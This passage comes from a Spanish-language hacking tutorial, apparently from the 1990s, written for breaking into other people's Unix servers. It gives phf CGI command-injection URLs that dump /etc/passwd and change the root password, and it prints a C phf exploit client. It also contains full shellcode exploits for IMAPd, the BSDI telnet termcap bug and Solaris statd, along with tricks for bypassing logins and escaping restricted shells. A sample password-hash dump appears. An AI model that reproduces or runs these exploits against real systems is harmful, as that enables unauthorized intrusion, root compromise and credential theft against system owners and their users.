      (        1      )(     2    )(     3   )(   4  )(5)(    6    )

  1.- El site que quieras atacar.
  2.- El comando phf.
  3.- Aqui es donde esta el secreto.
  4.- El programa que quieres que se ejecute.
  5.- El %20 es un espacio, y se pueden usar tantos como te hagan falta.
  6.- Y pues aqui va el archivo o directorio que quieres ver.

Tras ejecutar este xploit, pueden suceder varias cosas:

1.- Que no se encuentre el archivo phf, porque los administradores que son un 
poco mas listos han desactivado esta opcion o que sea astuto y un poco borde 
y te mande algun nuke al intentarlo .. todo no iba a ser bonito !! :o( Esto pasa 
en algunas maquinas sobre todo si son de hackers :o)

2.- Que te salga el archivo, pero los password no estan de la manera habitual. 
Entonces, pueden pasar dos cosas, que este shadow o que este el NIS 
instalado. Si estamos en el segundo caso, se puede identificar porque en la 
ultima linea del fichero tiene una cadena parecida a esta "+::0:0:::" Si NO TE 
SALE, intenta poner en la linea del navegador, en vez de /etc/passwd pues 
/etc/shadow u otro archivo dependiendo del sistema ( si el httpd rula como 
root). Si TE SALE la cadena "+::0:0:::" estas de suerte, porque eso indica que 
tiene activado el sistema de archivos NIS, y por lo cual posiblemente funcione 
el comando "ypcat" para leer el passwd. La linea seria la siguiente:

http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/ypcat%20passwd 

Con esto te saldran todas las cuentas sin sombrear, o sea lo que quiere decir 
que puedes crackear el fichero passwd

Si todo sale bien el resultado sera del tipo:


                                 QUERY RESULTS


   /usr/local/bin/ph -m alias=x cat /etc/passwd

root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:-2:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
guest:*:405:100:guest:/dev/null:/dev/null
bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash
web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash
mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash


Y una vez tienes este texto en la pantalla de tu navegador, solo tienes que 
hacer un guardar como.

Pero el PHF te da muchas mas posibilidades, ya que si el server esta corriendo 
su httpd server como root, se puede obtener el acceso de root.

Usando 

http://www.victima.com/cgi-bin/phf?Qalias=x%0a/usr/bin/id

Usamos el id para conocer la identificacion del user. Recuerda que el root es 
id=0 aunque lo usual es que corra bajo nobody y te saldria algo de este tipo:

                                 QUERY RESULTS



   /usr/local/bin/ph -m alias=x id

uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)


Si en lugar de correr como usuario nobody, corriese como root, podriamos usar 
comandos como root, interesante no??

http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/ypcat%20passwd 

Estos dos ya han sido explicados anteriormente. El que muestro a continuacion 
podria ser util para ver todos los ficheros del directorio /etc que empiezan con la 
palabra pass.

http://www.victima.com/cgi-bin/phf?Qalias=x%0als%20-al%20/etc/pass*

Los tres comandos anteriores funcionaran aunque no corra como root, pero 
para los siguientes si que es necesario el root, pero son los mas interesantes:

Cambiar el password del root (no funciona mucho pero si a veces):

http://www.victima.com/cgi-bin/phf?Qalias=x%0apasswd%20root

Ademas, hay que pensar que una makina kon phf y ke el httpd rule komo root 
es practicamente como si tuviesemos una cuenta de root en la maquina, asi 
que ya sabeis........ kreo ke sobran los komentarios no?  }-)

Bien, todo lo que he contado es suponiendo que usais el navegador como el 
Netscape para el ventanukos o usar el Netscape o lynx para linux, pero adjunto 
un programa para que podais usar comandos para el phf desde el shell que es 
mas comodo y ademas si usais una maquina de condon, no teneis que 
depender de si esa maquina tiene navegadores o no.

En fin, el codigo es el siguiente:


/* Some small changes for efficiency by snocrash. */
/*
 * cgi-bin phf exploit by loxsmith [xf]
 *
 * I wrote this in C because not every system is going to have lynx.  Also,
 * this saves the time it usually takes to remember the syntatical format
 * of the exploit.  Because of the host lookup mess, this will take
 * approximately 12 seconds to execute with average network load.  Be patient.
 *
 */

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>

int main(argc, argv)
     int argc;
     char **argv;
{
     int i = 0, s, port, bytes = 128;
     char exploit[0xff], buffer[128], hostname[256], *command, j[2];
     struct sockaddr_in sin;
     struct hostent *he;

     if (argc != 3 && argc != 4) {
          fprintf(stderr, "Usage: %s command hostname [port]", argv[0]);
          exit(1);
     }

     command = (char *)malloc(strlen(argv[1]) * 2);

     while (argv[1][i] != '\0') {
          if (argv[1][i] == 32) strcat(command, "%20"); else {
               sprintf(j, "%c", argv[1][i]);
               strcat(command, j);
          }
          ++i;
     }

     strcpy(hostname, argv[2]);
     if (argc == 4) port = atoi(argv[3]); else port = 80;

     if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) {
          he = gethostbyname(hostname);
	  if (he) {
               sin.sin_family = he->h_addrtype;
               memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0], 
                      he->h_length);
          } else {
               fprintf(stderr, "%s: unknown host %s\n", argv[0], hostname);
               exit(1);
          }
     }
     sin.sin_family = AF_INET;
     sin.sin_port = htons((u_short) port);

     if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) {
          fprintf(stderr, "%s: could not get socket\n", argv[0]);
          exit(1);
     }

     if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
          close(s);
          fprintf(stderr, "%s: could not establish connection\n", argv[0]);
          exit(1);
     }

     sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X%%0a%s\n", command);
     free(command);
     write(s, exploit, strlen(exploit));
     while(bytes == 128) {
          bytes = read(s, buffer, 128);
          fprintf(stdout, buffer);
     }
     close(s);
}


La sintaxis para usar este codigo es:

phf cat%20/etc/passwd www.maquinavictima.com		para hacer un cat 
passwd

phf id www.maquinavictima.com		para hacer un id

phf ls www.maquinavictima.com		para hacer un ls

etc... como veis la sintaxis es sencilla y mas comodo que usar el navegador.


Para posteriores ediciones del texto comentare algun codigo interesante que 
tengo para explotar el phf asi como algun truquillo para obtener mas 
posibilidades de este bug. ;o) como pillar los ficheros de passwd si esta 
shadow, evitar filtrado de ip, etc... pensad que una maquina con phf es una 
maquina en la que puedes ejecutar y ver comandos remotamente.. asi que 
pensando un poco las posibilidades son infinitas :o)


- XPLOITS QUE TE DAN DIRECTAMENTE UNA SHELL


En este apartado, voy a poner unos cuantos xploits pero como he dicho 
anteriormente, la red esta llena de xploits para todos los sistemas operativos y 
casi todas las versiones asi que aqui solo voy a poner unos cuantos.

En fin, voy a poner uno que da directamente un shell de root debido al bug del 
impad ( puerto 143) en maquinas linux con RedHat:

/*
 * IMAPd Linux/intel remote xploit by savage@apostols.org 1997-April-05
 *
 * Workz fine against RedHat and imapd distributed with pine
 *
 * Special THANKS to: b0fh,|r00t,eepr0m,moxx,Fr4wd,Kore and the rest of
ToXyn !!!
 *
 * usage:
 *      $ (imap 0; cat) | nc victim 143
 *              |
 *              +--> usually from -1000 to 1000 ( try in steps of 100 )
 *
 *              [ I try 0, 100 and 200 - so1o ]
 */

#include <stdio.h>

char shell[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\xeb\x3b\x5e\x89\x76\x08\x31\xed\x31\xc9\x31\xc0\x88"
"\x6e\x07\x89\x6e\x0c\xb0\x0b\x89\xf3\x8d\x6e\x08\x89\xe9\x8d\x6e"
"\x0c\x89\xea\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xe8\xc0\xff\xff\xff/bin/sh";

char username[1024+255];

void main(int argc, char *argv[]) {
        int i,a;
        long val;

        if(argc>1)
                a=atoi(argv[1]);
        else
                a=0;

        strcpy(username,shell);

        for(i=strlen(username);i<sizeof(username);i++)
                username[i]=0x90; /* NOP */

        val = 0xbffff501 + a;

        for(i=1024;i<strlen(username)-4;i+=4)
        {
                username[i+0] = val & 0x000000ff;
                username[i+1] = (val & 0x0000ff00) >> 8;
                username[i+2] = (val & 0x00ff0000) >> 16;
                username[i+3] = (val & 0xff000000) >> 24;
        }

        username[ sizeof(username)-1 ] = 0;

        printf("%d LOGIN \"%s\" pass\n", sizeof(shell), username);
}

Otro para BSDI BSD/OS 2.1 y bien explicadito (aunque en ingles.. pero creo 
que es demasiado sencillo para traducirno no?):


/* Bug originally discovered by Theo de Raadt 
<deraadt@CVS.OPENBSD.ORG> */

/* BSDI BSD/OS 2.1 telnet-exploit ; evil-term.c
**
** Written by Joseph_K the 22-Oct-1997
**
**
** Original shellcode by mudge@l0pht.com but modified a tiny bit...
**
** This program must be compiled for the BSDI architecture...
** You will need to transfer the file 'termcap' this program creates
** to the host you want to penetrate, possibly by anonymous FTP.
**
** Then start telnet and type:
**
** telnet> env def TERM access
** telnet> env def TERMCAP /path/and/name/of/uploaded/file
** telnet> open victim.host.com
**
** tadaa! r00t shell...
**
** However because of the invalid termcap entry, there can be some
** hazzles....You figure it out....
**
** Fy faen vad jag ar hungrig...
**
** Special Greetz to TWiLiGHT!
**
*/

#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

#define filename "./termcap"
#define entry   "access|Gimme r00t:\\\n :"
#define bufsize 1300
#define default_offset 870    /* Should work...*/

char shellcode[] =
   "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
   "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
   "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
   "\x9a\x3e\x39\x29\x28\x39\x3c\xe8\xc6\xff\xff\xff/bin/sh";

long get_sp(void)
{
   __asm__("movl %esp, %eax\n");
}

int main(int argc, char *argv[]) {
   int i, fd, offs;
   long *bof_ptr;
   char *ptr, *buffer, *tempbuf;

   offs = default_offset;

   if(argc == 2) {
      printf("using offset: %d\n",atoi(argv[1]));
      offs = atoi(argv[1]);
   }

   if(!(buffer = malloc(bufsize))) {
      printf("can't allocate enough memory\n");
      exit(0);
   }


  if(!(tempbuf = malloc(bufsize+strlen(entry) + 50))) {
      printf("can't allocate enough memory\n");
      exit(0);
   }

   bof_ptr = (long *)buffer;
   for (i = 0; i < bufsize - 4; i += 4)
      *(bof_ptr++) = get_sp() - offs;

   ptr = (char *)buffer;
   for (i = 0; i < ((bufsize-strlen(shellcode)))/2 - 1; i++)
      *(ptr++) = 0x90;

   for (i = 0; i < strlen(shellcode); i++)
      *(ptr++) = shellcode[i];

   printf("Creating termcap file\n");

   snprintf(tempbuf, (bufsize+strlen(entry)+50), "%s%s:\n", entry, buffer);
   fd = open(filename, O_WRONLY|O_CREAT, 0666);
   write (fd, tempbuf, strlen(tempbuf));
   close(fd);
}

Otro para Solaris 2.5.1:

/*
 statd remote overflow, solaris 2.5.1 x86
 there is a patch for statd in solaris 2.5, well, it looks like
 they check only for '/' characters and they left overflow there ..
 nah, it's solaris

 usage: ./r host [cmd]  # default cmd is "touch /tmp/blahblah"
                        # remember that statd is standalone daemon

 */

#include <sys/types.h>
#include <sys/time.h>
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <rpcsvc/sm_inter.h>
#include <sys/socket.h>

#define BUFSIZE 1024
#define ADDRS 2+1+1+4
#define ADDRP 0x8045570;

/* up to ~ 150 characters, there must be three strings */
char *cmd[3]={"/bin/sh", "-c", "touch /tmp/blahblah"};

char
asmcode[]="\xeb\x3c\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\xf7\x83\xc7\x10\
x89\x3e\x4f\x47\xfe\x07\x75\xfb\x47\x89\x7e\x04\x4f\x47\xfe\x07\x75\xfb\x47\x8
9\x7e\x08\x4f\x47\xfe\x07\x75\xfb\x89\x46\x0c\x50\x56\xff\x36\xb0\x3b\x50\x90\
x9a\x01\x01\x01\x0


1\x07\x07\xe8\xbf\xff\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x
02\x02\x02\x02";
char nop[]="\x90";

char code[4096];

void usage(char *s) {
  printf("Usage: %s host [cmd]\n", s);
  exit(0);
}

main(int argc, char *argv[]) {
  CLIENT *cl;
  enum clnt_stat stat;
  struct timeval tm;
  struct mon monreq;
  struct sm_stat_res monres;
  struct hostent *hp;
  struct sockaddr_in target;
  int sd, i, noplen=strlen(nop);
  char *ptr=code;

  if (argc < 2)
    usage(argv[0]);
  if (argc == 3)
    cmd[2]=argv[2];

  for (i=0; i< sizeof(code); i++)
    *ptr++=nop[i % noplen];

  strcpy(&code[750], asmcode);  /* XXX temp. */
  ptr=code+strlen(code);
  for (i=0; i<=strlen(cmd[0]); i++)
    *ptr++=cmd[0][i]-1;
  for (i=0; i<=strlen(cmd[1]); i++)
    *ptr++=cmd[1][i]-1;
  for (i=0; i<=strlen(cmd[2]); i++)
    *ptr++=cmd[2][i]-1;
  ptr=code+BUFSIZE-(ADDRS<<2);
  for (i=0; i<ADDRS; i++, ptr+=4)
    *(int *)ptr=ADDRP;
  *ptr=0;

  printf("strlen = %d\n", strlen(code));

  memset(&monreq, 0, sizeof(monreq));
  monreq.mon_id.my_id.my_name="localhost";
  monreq.mon_id.my_id.my_prog=0;
  monreq.mon_id.my_id.my_vers=0;
  monreq.mon_id.my_id.my_proc=0;
  monreq.mon_id.mon_name=code;

  if ((hp=gethostbyname(argv[1])) == NULL) {
    printf("Can't resolve %s\n", argv[1]);
    exit(0);
  }
  target.sin_family=AF_INET;
  target.sin_addr.s_addr=*(u_long *)hp->h_addr;
  target.sin_port=0;    /* ask portmap */
  sd=RPC_ANYSOCK;

  tm.tv_sec=10;
  tm.tv_usec=0;
  if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) {
    clnt_pcreateerror("clnt_create");
    exit(0);
  }
  stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res,
                (char *)&monres, tm);
  if (stat != RPC_SUCCESS)
    clnt_perror(cl, "clnt_call");
  else
    printf("stat_res = %d.\n", monres.res_stat);
  clnt_destroy(cl);
}

Otro bug de System V (aunque es improbable que funcione) pero es bastante 
aclarativo de cuales pueden llegar a ser las naturalezas de los bugs:

Existe un bug en Passwd+ o Npasswd que permite el acceso sin clave cuando 
la validez de la anterior ha expirado.
Si el programa detecta que el usuario que quiere entrar (sabe quien es despues 
de poner el login) tiene el mismo password demasiado tiempo, le pide 
inmediatamente que lo cambie SIN PEDIR EL PASSWORD ANTIGUO!!!, 
saldria esto:


        UNIX(r) System V Release 4.0 (good religious site)

        login: priest
        Sorry Passwd has expired
        Change:

Y pones el que quieres y ya estas dentro :--> con una cuenta que tu has 
determinado el passwd jeje

Para posteriores ediciones espero poner algunos mas, pero creo que es mejor 
que ponga bastantes en la seccion de pillar root ke es mas interesante ke esto 
:o)y ademas, sinceramente no se si vale la pena ya que se pueden encontrar 
con facilidad en la red.


- OTROS METODOS


En fin, aqui solo voy a comentar que hay muchisimos mas metodos para 
conseguir cuentas ... directamente con muchisimos otros bugs y xploits que 
rulan por ahi, usando el metodo de la fuerza bruta por algun servicio ( ftp, pop3, 
etc), spoofing, fallos de configuracion en ftp, alguna cuenta que pilles con un 
sniffer, fallos en los rpc, mas xploits remotos, defectos de configuracion, 
hijacking, etc... pero esto ya se comentara en posteriores ediciones si hay 
ganas ;o) o quizas en textos especificos para esos temas ya que este texto es 
de introduccion y tampoco lo quiero recargar demasiado.


- SALIR DE SHELL RESTRINGIDA


La idea es que una vez que tenemos una cuenta shell en un sitio y la shell esta 
muy restringida y no podemos hacer nada ( hay veces que ni siquiera te deja 
cambiar de directorio, ni ejecutar el gcc ni nada) hemos de buscar alguna 
manera de tener una cuenta un poco mas decente.

Algunas veces, la solucion es probar con el login y el password de la shell pero 
entrando por otros puertos como el ftp, rlogin, etc. y gracias a dios algunas 
veces se obtienen cuentas con mejores prestaciones que la anterior. Puedes 
escribir un + + en el fichero .rhosts y hacer un rlogin, etc...otras veces, entrando 
por el ftp podemos sobreescribir algun fichero que sea el que nos esta 
activando las restricciones... queda bastante claro no? :) 

Asi ya podemos intentar pillar el fichero de passwd o ejecutar algun xploit para 
pillar otras cuentas o el rOOt.

Otro metodo que a veces funciona, dependiendo de como se ha hecho esa 
shell restringida (si esta bastante mal hecha) es el rulando un programa que 
interactua con el shell como por ejemplo el vi:

:set shell=/bin/sh

y luego..

:shell

Otro sistema ke puede funcionar, si tienes una cuenta para mail es tocar el 
.pinerc... es decir, bajarlo por ftp, tocarlo en tu maquina y volverlo a subir.


Si la cuenta no es muy restringida y deja correr el gcc, se puede compilar algun 
programa en c que te deje acceder al fichero de passwd aunque no tengas 
acceso a ese directorio. En la seccion de passwd y como cogerlos hay 
programas de este tipo.

En fin, son metodos un poco cutres pero a veces funcionan. Ademas, en 
general lo que se ha de hacer es examinar las variables de entorno que 
tenemos en la shell y pensar si de alguna manera podemos inhabilitar las 
restricciones aunque para esto se necesita tener un poco claro el unix.

---------------------------------------------------------------------------
  ESPERO QUE ESTO TE HAYA SIDO DE UTILIDAD!!!!!!!!!!!!!!!!!  
                    MxHack182:mxhack3000@yahoo.com.mx


